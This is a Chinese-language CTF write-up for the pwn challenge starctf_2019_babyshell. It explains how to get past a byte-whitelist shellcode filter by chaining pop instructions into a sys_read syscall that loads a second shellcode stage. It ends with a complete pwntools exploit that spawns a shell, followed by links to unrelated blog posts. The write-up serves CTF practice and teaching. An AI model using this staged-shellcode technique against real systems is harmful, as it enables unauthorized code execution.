starctf_2019_babyshell
starctf_2019_babyshell
有时shellcode受限,最好的方法一般就是勉强的凑出sys read系统调用来注入shellcode主体。
我们拿starctf_2019_babyshell这道题来讲一讲,首先检查一下保护。

IDA分析

首先读入shellcode,然后检查shellcode是否合法,接着执行我们的shellcode.

这个是检查shellcode合法的函数,遍历shellcode的每个字符,在0x400987处找是否有匹配。
我们再来看看0x400987处的数据。

这里我数据强制转换成了代码,也就是说我们只要输入的shellcode在这里面出现就可以了。比如说我们可以使用pop rdx、 pop rdi、 syscall ,根据我之前说的这里shellcode受到了限制,所以我们尽力去构造sys_read 来注入我们自己的shellcode。
要调用sys_read我们要控制rax=0 rdi=0 rsi rdx

这里eax等于0了并且rsi指向buf(也就是我们第一次写的shellcode),我们只要控制rdi=0,rdx为一定大小的值就可以了。
我们把程序下断点到call rdx

观察栈的内容

pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall
shellcode怎么写都可以只要保证rdi为零,rdx为一个合适的值。
调用sys_read覆写我们的shellcode

'a'*0xC + asm(shellcraft.sh()
exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p = process('./starctf_2019_babyshell')
#gdb.attach(p,'b *0x4008CB')
shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall')
p.sendlineafter(' plz:\n',shellcode)
sleep(1)
p.sendline('a'*0xC + asm(shellcraft.sh()))
p.interactive()
starctf_2019_babyshell的更多相关文章
- Buuctf刷题:部分
get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...
- [BUUCTF-Pwn]刷题记录1
[BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...
随机推荐
- 官网GitLab CI/CD英文文档翻译
在查阅GitLab官网的CI/CD功能说明时,全是英文看起来不方便,通过翻译软件自动翻译后"内容失真",看起来很变扭.查阅了百度上的资料发现很多翻译很老旧,有些甚至是挂羊头卖狗肉. ...
- tomcat运行多个项目同一个端口与不同端口的设置
一.首先打包项目 这里采用eclipse开发工具,选中项目右击,点击Export进入 选择web下的 WAR file ,点击next 在这里可能有坑,新装的eclipse没有web文件夹 此时需要下 ...
- SpringBoot读取资源目录下的文件
需要读取resources目录下的文件,那么方法如下: 假设在资源目录下的template目录下有一个文件a.txt,获取到文件流的方式 InputStream stream = this.getCl ...
- 阻塞队列——四组API
方式 抛出异常 有返回值,不抛出异常 阻塞等待 超时等待 添加 add() offer() put() offer(...) 移除 remove() poll() take() poll(...) 检 ...
- MySQL索引由浅入深
索引是SQL优化中最重要的手段之一,本文从基础到原理,带你深度掌握索引. 一.索引基础 1.什么是索引 MySQL官方对索引的定义为:索引(Index)是帮助MySQL高效获取数据的数据结构,索引对于 ...
- 元数据管理—动态表单设计器在crudapi系统中完整实现
表单设计 在前面文章中,我们通过一系列案例介绍了表单设计的一些基本功能,表单设计起到非常重要作用,也是crudapi核心,所以本文会详细介绍表单设计中一些其它功能. 概要 表单字段column属性 列 ...
- 怎样将大批量文件进行循环分组(reduce)?
背景 当有时候一个文件夹下有几万个几十万个文件时,我们的桌面终端打开这个文件夹可能会卡.或者将文件进行批量上传时,如果是在文件夹下全选,那么基本上浏览器就卡死了,当然也不能这样子操作滴~ 题主 ...
- VUE中的子父组件、兄弟组件之间相互传值,相互调用彼此的方法
vue--组件传值 父组件传值给子组件--"props" 一.父组件--示例 <template> <child :choose-data="choos ...
- C# 应用 - 使用 HttpClient 发起上传文件、下载文件请求
1. 示例代码 using System; using System.IO; using System.Net.Http; /// <summary> /// 下载文件 /// </ ...
- Java数组:初识数组
数组:数组是相同类型数据的有序集合数组描述的是相同类型的若干个数据,按照一定的先后次序排列组合而成其中,每一个数据称作一个数组元素,每个数组元素可以通过一个下标来访问他们 数组基本特点:其长度是确定的 ...